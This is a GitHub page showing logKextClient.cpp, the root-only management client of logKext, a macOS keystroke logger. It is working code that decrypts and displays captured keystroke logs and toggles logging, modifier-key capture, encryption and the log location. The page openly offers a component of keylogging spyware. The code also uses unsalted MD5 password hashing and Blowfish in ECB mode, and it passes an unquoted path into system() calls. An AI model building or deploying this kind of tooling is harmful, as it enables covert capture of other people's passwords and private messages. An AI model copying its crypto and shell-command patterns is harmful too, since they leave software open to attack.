-
Notifications
You must be signed in to change notification settings - Fork 40
/
logKextClient.cpp
520 lines (462 loc) · 19.3 KB
/
logKextClient.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
/*
logKextClient.cpp
logKext
Copyright 2007 Braden Thomas
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include <unistd.h>
#include <stdio.h>
#include <sys/errno.h>
#include <sys/stat.h>
#include <openssl/blowfish.h>
#include <openssl/md5.h>
#include <Security/Security.h>
#include <openssl/rand.h>
#include <CoreFoundation/CoreFoundation.h>
#include "logKextCommon.h"
#include "logKextClient.h"
/**********Function Declarations*************/
long file_length(CFStringRef);
CFStringRef decrypt_file(CFStringRef);
void PrintLogfileStatus();
void print_usage();
bool verify_pass();
bool prefsOK();
void makeEncryptKey();
BF_KEY encrypt_bf_key;
/****** Main ********/
int main(int argc, char * argv[])
{
if (geteuid())
{
printf("Must run as superuser. Please use sudo.\n");
exit(EACCES);
}
if (!prefsOK())
{
printf("Error: logKext Preferences cannot be found. Is logKextDaemon running?\n");
return 1;
}
CFPreferencesAppSynchronize(PREF_DOMAIN);
if (!verify_pass())
return EACCES;
makeEncryptKey();
PrintLogfileStatus();
printf("Type 'help' for usage help, or 'quit' to quit.\n");
while (1)
{
printf("\nlogKextClient > ");
fflush(0);
char line[1024+1];
if (!fgets(line, 1024, stdin))
break;
// remove newline
line[strlen(line)-1]=0;
CFStringRef command = CFStringCreateWithCString(kCFAllocatorDefault,line,kCFStringEncodingASCII);
if ((CFStringCompare(command,CFSTR("quit"),0)==kCFCompareEqualTo)||(CFStringCompare(command,CFSTR("q"),0)==kCFCompareEqualTo))
{
CFPreferencesAppSynchronize(PREF_DOMAIN);
return 0;
}
if (CFStringCompare(command,CFSTR("help"),0)==kCFCompareEqualTo)
{
print_usage();
continue;
}
CFArrayRef stringParts = CFStringCreateArrayBySeparatingStrings(kCFAllocatorDefault,command,CFSTR(" "));
if (!CFArrayGetCount(stringParts))
continue;
if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,0),CFSTR("info"),0)==kCFCompareEqualTo)
{
if (CFArrayGetCount(stringParts)==1)
{
printf("\nPossible variables: \n");
printf("\tLogging\t\tMinMeg\n\tLogPath\t\tPassword\n\tEncrypt\t\tMods\n");
printf("Use 'info variable' to get information on a specific variable.\n\n");
continue;
}
if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,1),CFSTR("Logging"),0)==kCFCompareEqualTo)
{
printf("Logging controls whether the daemon is logging keystrokes (default is on).\n");
printf("Possible Values: on/off\n");
}
else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,1),CFSTR("MinMeg"),0)==kCFCompareEqualTo)
{
printf("MinMeg controls the minimum number of megs on the filesystem before logKext shuts down (default is 20).\n");
printf("Possible Values: Integer greater than 20\n");
}
else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,1),CFSTR("LogPath"),0)==kCFCompareEqualTo)
{
printf("LogPath controls the pathname of the log file location (default is /Library/Preferences/Library/Preferences/com.fsb.logKext).\n");
printf("Possible Values: Valid file path\n");
}
else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,1),CFSTR("Password"),0)==kCFCompareEqualTo)
{
printf("Password is your password used to control access to this client.\n");
printf("Possible Values: Password String\n");
}
else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,1),CFSTR("Encrypt"),0)==kCFCompareEqualTo)
{
printf("Encrypt controls whether or not the logfile will be encrypted or cleartext.\n");
printf("Possible Values: on/off\n");
}
else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,1),CFSTR("Mods"),0)==kCFCompareEqualTo)
{
printf("Mods controls whether or not modifier keys are logged in the logfile.\n--Modifier keys are non-character keys like <CMD> and <DEL>.\n");
printf("Possible Values: on/off\n");
}
else
{
printf("\nPossible variables: \n");
printf("\tLogging\t\tMinMeg\n\tLogPath\t\tPassword\n\tEncrypt\t\tMods\n");
printf("Use 'info variable' to get information on a specific variable.\n\n");
}
continue;
}
if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,0),CFSTR("open"),0)==kCFCompareEqualTo)
{
CFStringRef filePath;
if (!getenv("HOME"))
filePath = CFSTR("/tmp/out_logFile.txt");
else
filePath = CFStringCreateWithFormat(kCFAllocatorDefault,NULL,CFSTR("%s/Desktop/out_logFile.txt"),getenv("HOME"));
CFStringRef pathName = (CFStringRef)CFPreferencesCopyAppValue(CFSTR("Pathname"),PREF_DOMAIN);
long file_len = file_length(pathName);
if (file_len)
{
CFStringRef decryptedBuf = decrypt_file(pathName);
if (!decryptedBuf)
printf("There was an error decrypting decrypting the logfile.\n");
else
{
CFWriteStreamRef logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,filePath,kCFURLPOSIXPathStyle,false));
CFWriteStreamOpen(logStream);
if (!logStream)
{
printf("Error saving file\n");
continue;
}
CFWriteStreamWrite(logStream,(const UInt8*)CFStringGetCStringPtr(decryptedBuf,CFStringGetFastestEncoding(decryptedBuf)),CFStringGetLength(decryptedBuf));
CFWriteStreamClose(logStream);
printf("Wrote file to: %s\n", CFStringGetCStringPtr(filePath,CFStringGetFastestEncoding(filePath)));
char sysCommand[256];
char sysCommandTwo[256];
snprintf(sysCommand,256,"/usr/bin/open -e %s",CFStringGetCStringPtr(filePath,CFStringGetFastestEncoding(filePath)));
snprintf(sysCommandTwo,256,"/usr/bin/open %s",CFStringGetCStringPtr(filePath,CFStringGetFastestEncoding(filePath)));
if (system(sysCommand))
system(sysCommandTwo);
}
}
else
{
printf("The logfile does not currently exist. ");
printf("Maybe you haven't typed 100 keystrokes since starting a new logfile.\n");
}
continue;
}
if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,0),CFSTR("print"),0)==kCFCompareEqualTo)
{
CFStringRef pathName = (CFStringRef)CFPreferencesCopyAppValue(CFSTR("Pathname"),PREF_DOMAIN);
long file_len = file_length(pathName);
if (file_len)
{
CFStringRef decryptedBuf = decrypt_file(pathName);
if (!decryptedBuf)
printf("There was an error decrypting decrypting the logfile.\n");
else
printf("%s\n",CFStringGetCStringPtr(decryptedBuf,CFStringGetFastestEncoding(decryptedBuf)));
}
else
{
printf("The logfile does not currently exist. ");
printf("Maybe you haven't typed 100 keystrokes since starting a new logfile.\n");
}
continue;
}
if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,0),CFSTR("list"),0)==kCFCompareEqualTo)
{
printf("\nCurrent preference variable values:\n");
if (CFPreferencesGetAppBooleanValue(CFSTR("Logging"),PREF_DOMAIN,NULL))
printf("Logging:\ton\n");
else
printf("Logging:\toff\n");
printf("Minimum Megs:\t%d\n",CFPreferencesGetAppIntegerValue(CFSTR("MinMeg"),PREF_DOMAIN,NULL));
CFStringRef pathString = (CFStringRef)CFPreferencesCopyAppValue(CFSTR("Pathname"),PREF_DOMAIN);
printf("LogPath:\t%s\n", CFStringGetCStringPtr(pathString,CFStringGetFastestEncoding(pathString)));
printf("Password:\tCannot be listed.\n");
if (CFPreferencesGetAppBooleanValue(CFSTR("Encrypt"),PREF_DOMAIN,NULL))
printf("Encrypt:\ton\n");
else
printf("Encrypt:\toff\n");
if (CFPreferencesGetAppBooleanValue(CFSTR("Mods"),PREF_DOMAIN,NULL))
printf("Mods:\t\ton\n");
else
printf("Mods:\t\toff\n");
printf("\nUse the 'set' command to change preference variables.\n\n");
continue;
}
if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,0),CFSTR("set"),0)==kCFCompareEqualTo)
{
if (CFArrayGetCount(stringParts)==1)
{
printf("\nUse 'set variable=value' to set change your preferences.\n");
printf("Type 'info' to get information on all preference variables and possible values.\n");
printf("Use 'list' to get current values of your preference variables.\n\n");
continue;
}
CFArrayRef setParts = CFStringCreateArrayBySeparatingStrings(kCFAllocatorDefault,(CFStringRef)CFArrayGetValueAtIndex(stringParts,1),CFSTR("="));
if (CFArrayGetCount(setParts)!=2)
{
printf("\nUse 'set variable=value' to set change your preferences.\n");
printf("Type 'info' to get information on all preference variables and possible values.\n");
printf("Use 'list' to get current values of your preference variables.\n\n");
continue;
}
if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,0),CFSTR("Logging"),0)==kCFCompareEqualTo)
{
if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,1),CFSTR("on"),0)==kCFCompareEqualTo)
{
CFPreferencesSetAppValue(CFSTR("Logging"),kCFBooleanTrue,PREF_DOMAIN);
printf("\nValue set to on.\n");
}
else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,1),CFSTR("off"),0)==kCFCompareEqualTo)
{
CFPreferencesSetAppValue(CFSTR("Logging"),kCFBooleanFalse,PREF_DOMAIN);
printf("\nValue set to off.\n");
}
else
{
printf("Logging controls whether the daemon is logging keystrokes (default is on).\n");
printf("Possible Values: on/off\n");
}
}
else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,0),CFSTR("MinMeg"),0)==kCFCompareEqualTo)
{
CFNumberFormatterRef nFrm = CFNumberFormatterCreate(kCFAllocatorDefault,CFLocaleCopyCurrent(),kCFNumberFormatterNoStyle);
CFNumberRef outNum = CFNumberFormatterCreateNumberFromString(kCFAllocatorDefault,nFrm,(CFStringRef)CFArrayGetValueAtIndex(setParts,1),NULL,kCFNumberFormatterParseIntegersOnly);
int megDef = DEFAULT_MEG;
CFNumberRef megDefNum = CFNumberCreate(kCFAllocatorDefault,kCFNumberIntType,&megDef);
if (CFNumberCompare(outNum,megDefNum,NULL)==kCFCompareLessThan)
CFPreferencesSetAppValue(CFSTR("MinMeg"),megDefNum,PREF_DOMAIN);
else
CFPreferencesSetAppValue(CFSTR("MinMeg"),outNum,PREF_DOMAIN);
int outNumInt;
CFNumberGetValue(outNum,kCFNumberIntType,&outNumInt);
printf("Value set to %d\n",outNumInt);
}
else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,0),CFSTR("LogPath"),0)==kCFCompareEqualTo)
{
CFStringRef newVal = (CFStringRef)CFArrayGetValueAtIndex(setParts,1);
CFPreferencesSetAppValue(CFSTR("Pathname"),newVal,PREF_DOMAIN);
printf("\nLogfile location changed to %s\nDelete your old logfile for this to take effect.\n", CFStringGetCStringPtr(newVal,CFStringGetFastestEncoding(newVal)));
}
else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,0),CFSTR("Password"),0)==kCFCompareEqualTo)
{
unsigned char md5[16];
MD5((unsigned char*)CFStringGetCStringPtr((CFStringRef)CFArrayGetValueAtIndex(setParts,1),CFStringGetFastestEncoding((CFStringRef)CFArrayGetValueAtIndex(setParts,1))),CFStringGetLength((CFStringRef)CFArrayGetValueAtIndex(setParts,1)),md5);
char hash[32];
for (int i=0; i< 16; i++)
sprintf(hash+2*i,"%02x",md5[i]);
CFPreferencesSetAppValue(CFSTR("Password"),CFStringCreateWithCString(kCFAllocatorDefault,hash,kCFStringEncodingASCII),PREF_DOMAIN);
printf("\nPassword changed.\nDelete your logfile for this to take effect. A new logfile will be created encrypted with your new password.\n");
}
else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,0),CFSTR("Encrypt"),0)==kCFCompareEqualTo)
{
if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,1),CFSTR("on"),0)==kCFCompareEqualTo)
{
CFPreferencesSetAppValue(CFSTR("Encrypt"),kCFBooleanTrue,PREF_DOMAIN);
printf("\nValue set to on.\nDelete your logfile for this to take effect.\n");
}
else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,1),CFSTR("off"),0)==kCFCompareEqualTo)
{
CFPreferencesSetAppValue(CFSTR("Encrypt"),kCFBooleanFalse,PREF_DOMAIN);
printf("\nValue set to off.\nDelete your logfile for this to take effect.\n");
}
else
{
printf("Encrypt controls whether or not the logfile will be encrypted or cleartext.\n");
printf("Possible Values: on/off\n");
}
}
else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,0),CFSTR("Mods"),0)==kCFCompareEqualTo)
{
if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,1),CFSTR("on"),0)==kCFCompareEqualTo)
{
CFPreferencesSetAppValue(CFSTR("Mods"),kCFBooleanTrue,PREF_DOMAIN);
printf("\nValue set to on.\nDelete your logfile for this to take effect.\n");
}
else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(setParts,1),CFSTR("off"),0)==kCFCompareEqualTo)
{
CFPreferencesSetAppValue(CFSTR("Mods"),kCFBooleanFalse,PREF_DOMAIN);
printf("\nValue set to off.\nDelete your logfile for this to take effect.\n");
}
else
{
printf("Mods controls whether or not modifier keys are logged in the logfile.\n--Modifier keys are non-character keys like <CMD> and <DEL>.\n");
printf("Possible Values: on/off\n");
}
}
else
{
printf("\nUse 'set variable=value' to set change your preferences.\n");
printf("Type 'info' to get information on all preference variables and possible values.\n");
printf("Use 'list' to get current values of your preference variables.\n\n");
}
CFPreferencesAppSynchronize(PREF_DOMAIN);
continue;
}
}
return 0;
}
void PrintLogfileStatus()
{
CFStringRef pathName = (CFStringRef)CFPreferencesCopyAppValue(CFSTR("Pathname"),PREF_DOMAIN);
struct stat fileStat;
printf("\nCurrent logfile status: ");
if (stat(CFStringGetCStringPtr(pathName,CFStringGetFastestEncoding(pathName)),&fileStat))
printf("File does not exist.\n");
else
{
if (fileStat.st_size<1024)
printf("%lld bytes.\n",(long long)fileStat.st_size);
else if (fileStat.st_size<(1024*1024))
printf("%lld kilobytes.\n",(long long)fileStat.st_size/1024);
else if (fileStat.st_size<(1024*1024*1024))
printf("%lld megabytes.\n",(long long)fileStat.st_size/(1024*1024));
else
printf("%lld gigabytes.\n",(long long)fileStat.st_size/(1024*1024*1024));
}
}
bool prefsOK() // non-exhaustive check
{
CFStringRef password = (CFStringRef)CFPreferencesCopyAppValue(CFSTR("Password"),PREF_DOMAIN);
if (!password)
return false;
return true;
}
bool verify_pass()
{
char *clear_pass = getpass("logKext Password:");
unsigned char md5[16];
MD5((unsigned char*)clear_pass,strlen(clear_pass),md5);
char hash[32];
for (int i=0; i< 16; i++)
sprintf(hash+2*i,"%02x",md5[i]);
CFStringRef password = (CFStringRef)CFPreferencesCopyAppValue(CFSTR("Password"),PREF_DOMAIN);
CFStringRef userPass = CFStringCreateWithCString(kCFAllocatorDefault,hash,kCFStringEncodingASCII);
if (CFStringCompare(password,userPass,0)!=kCFCompareEqualTo)
{
printf("Incorrect Password\n");
return false;
}
return true;
}
void print_usage()
{
printf("\nLogKext v2.2 Interactive Client");
printf("\nCommands:\n");
printf("list:\tLists all current daemon preference variable values.\n");
printf("open:\tOpens (and decrypts if necessary) logfile.\n");
printf("print:\tPrints to terminal (and decrypts if necessary) logfile.\n");
printf("help:\tShows this help screen.\n");
printf("info:\tGives information on a preference variable.\n");
printf("\tUsage: \'info variable\'\n");
printf("set:\tSets new daemon preference variable value.\n");
printf("\tUsage: \'set variable=value\'\n");
printf("quit:\tQuits client.\n\n");
}
bool notAscii(char in)
{
return (in < 9 || in > 126);
}
CFStringRef decrypt_file(CFStringRef pathName)
{
Boolean validKey;
Boolean doEncrypt = CFPreferencesGetAppBooleanValue(CFSTR("Encrypt"),PREF_DOMAIN,&validKey);
CFMutableStringRef outFile = CFStringCreateMutable(kCFAllocatorDefault,0);
CFReadStreamRef readStream = CFReadStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false));
if (!readStream||!(CFReadStreamOpen(readStream)))
return NULL;
CFMutableDataRef fileData = CFDataCreateMutable(kCFAllocatorDefault,8);
while (CFReadStreamHasBytesAvailable(readStream))
{
CFReadStreamRead(readStream,CFDataGetMutableBytePtr(fileData),8);
if (doEncrypt)
{
CFMutableDataRef plainData = CFDataCreateMutable(kCFAllocatorDefault,8);
BF_ecb_encrypt(CFDataGetBytePtr(fileData),CFDataGetMutableBytePtr(plainData),&encrypt_bf_key,BF_DECRYPT);
// this prevents screwed up strings from corrupting the logfile
unsigned char* bytePtr = (unsigned char*)CFDataGetBytePtr(plainData);
bool isAscii = true;
for (int i=0;i<8;i++)
if (notAscii(bytePtr[i]))
isAscii = false;
if (isAscii)
CFStringAppend(outFile,CFStringCreateWithBytes(kCFAllocatorDefault,CFDataGetBytePtr(plainData),8,kCFStringEncodingASCII,false));
}
else
{
CFStringAppend(outFile,CFStringCreateWithBytes(kCFAllocatorDefault,CFDataGetBytePtr(fileData),8,kCFStringEncodingASCII,false));
}
}
CFReadStreamClose(readStream);
return outFile;
}
long file_length(CFStringRef pathName)
{
FILE * logFile;
struct stat fileStat;
if (stat(CFStringGetCStringPtr(pathName,CFStringGetFastestEncoding(pathName)),&fileStat))
return 0;
else
logFile = fopen(CFStringGetCStringPtr(pathName,CFStringGetFastestEncoding(pathName)),"r");
if (!logFile)
return 0;
fseek(logFile,0,SEEK_END);
long file_length = ftell(logFile);
rewind(logFile);
fclose(logFile);
return file_length;
}
void makeEncryptKey()
{
SecKeychainRef sysChain;
OSStatus secRes = SecKeychainOpen("/Library/Keychains/System.keychain", &sysChain);
if (secRes)
{
printf("Couldn't get system keychain: %d\n",secRes);
return;
}
CFStringRef password = (CFStringRef)CFPreferencesCopyAppValue(CFSTR("Password"),PREF_DOMAIN);
if (!password)
return;
UInt32 passLen;
void* passData;
secRes = SecKeychainFindGenericPassword(sysChain, strlen("logKextPassKey"), "logKextPassKey", NULL, NULL, &passLen, &passData, NULL);
if (secRes)
{
printf("Error finding passKey in keychain (%d). Failing\n",secRes);
exit(-1);
}
/*
printf("Using encryption key %02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x\n",
((char*)passData)[0]&0xff,((char*)passData)[1]&0xff,((char*)passData)[2]&0xff,((char*)passData)[3]&0xff,
((char*)passData)[4]&0xff,((char*)passData)[5]&0xff,((char*)passData)[6]&0xff,((char*)passData)[7]&0xff,
((char*)passData)[8]&0xff,((char*)passData)[9]&0xff,((char*)passData)[10]&0xff,((char*)passData)[11]&0xff,
((char*)passData)[12]&0xff,((char*)passData)[13]&0xff,((char*)passData)[14]&0xff,((char*)passData)[15]&0xff);
*/
BF_KEY temp_key;
BF_set_key(&temp_key,passLen,(unsigned char*)passData);
unsigned char *encrypt_key = new unsigned char[8];
BF_ecb_encrypt((const unsigned char*)CFStringGetCStringPtr(password,CFStringGetFastestEncoding(password)),encrypt_key,&temp_key,BF_ENCRYPT);
BF_set_key(&encrypt_bf_key,8,encrypt_key);
return;
}